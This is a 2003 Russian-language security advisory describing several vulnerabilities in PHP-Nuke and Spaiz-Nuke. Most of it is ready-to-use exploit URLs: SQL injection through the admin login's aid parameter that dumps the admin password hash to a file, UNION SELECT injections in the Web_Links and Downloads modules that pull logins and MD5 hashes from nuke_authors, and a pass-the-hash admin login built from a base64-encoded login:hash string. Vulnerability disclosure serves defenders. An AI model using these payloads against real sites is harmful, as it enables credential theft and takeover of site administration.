__________ ___ ___ \______ \__ __ ______/ | \ | _/ | \/ ___/ _ \ | | \ | /\___ \\ / |____|_ /____//____ >\___|_ / -======\/==security=\/=team==\/ Advisory#10 Products: PHP-nuke все версии (на момент написания), Spaiz-Nuke версии <=1.2beta Vuln: Многочисленные уязвимости. Bug found: 17.09.2003 by 1dt.w0lf Внедрение sql-кода в модуле администрирования ********************************************* Уязвимость найдена в файле auth.php в функции проверки логина и пароля. Атакующий может получить зашифрованный пароль администратора. Отсутствие проверки ввода обнаружено в переменной $aid содержащей логин для авторизации. Используя кавычку можно перенаправить вывод в произвольный файл на сервере. Эксплоит: www.site.com/admin.php?op=login&pwd=123&aid=Admin' INTO OUTFILE '/path_to_file/pwd.txt После ввода данной строки в браузере на уязвимом сервере будет создан файл /path_to_file/pwd.txt содержащий зашифрованный пароль для логина "Admin". Внедрение sql-кода в модуле web_links ************************************* Отсутствие проверки ввода обнаружено в переменной $cid в модуле web-links. Атакующий может внедрить произвольный sql-код. Эксплоит: Следующий эксплоит показывает пример получения логинов и зашифрованных паролей администраторов движка. Работает на БД поддерживающих команду UNION (mysql>4) Для других БД необходимо изменять вид sql-запроса. Эксплоит: 1. Для php-nuke Данная строка выдаст все логины: www.site.com/modules.php?name=Web_Links&l_op=viewlink&cid=2 UNION select counter, aid, pwd FROM nuke_authors -- Данная строка выдаст все зашифрованные пароли: www.site.com/modules.php?name=Web_Links&l_op=viewlink&cid=2 UNION select counter, pwd, aid FROM nuke_authors -- 2. Для spaiz-nuke Изменить nuke_authors в строке на spnuke_authors Внедрение sql-кода в модуле download ************************************ Эксплоит: 1. Для php-nuke www.site.com/modules.php?name=Downloads&d_op=viewdownload&cid=2 UNION select counter, aid, pwd FROM nuke_authors -- 2. Для spaiz-nuke также как и в предыдущем случае. Доступ без расшифровки пароля ************************* Пароли данного движка шифруются с помощью алгоритма md5 однако атакующий может получить доступ даже не зная расшифрованного пароля. Эксплоит: Сначала следует зашифровать полученные логин и зашифрованный md5 пароль с помощью алгоритма base64. Сделать это можно например здесь: http://www.isecurelabs.com/base64.php Шифруем этим алгоритмом следующую строку: login:crypt_passwd: где login=логин crypt_passwd=зашифрованный пароль. Получаем хеш. Например для admin:21232f297a57a5a743894a0e4a801fc3: хеш будет следующим: YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6 Теперь можно получить доступ к панели администрирования используя следующий урл: www.site.com/admin.php?admin=ваш_хэш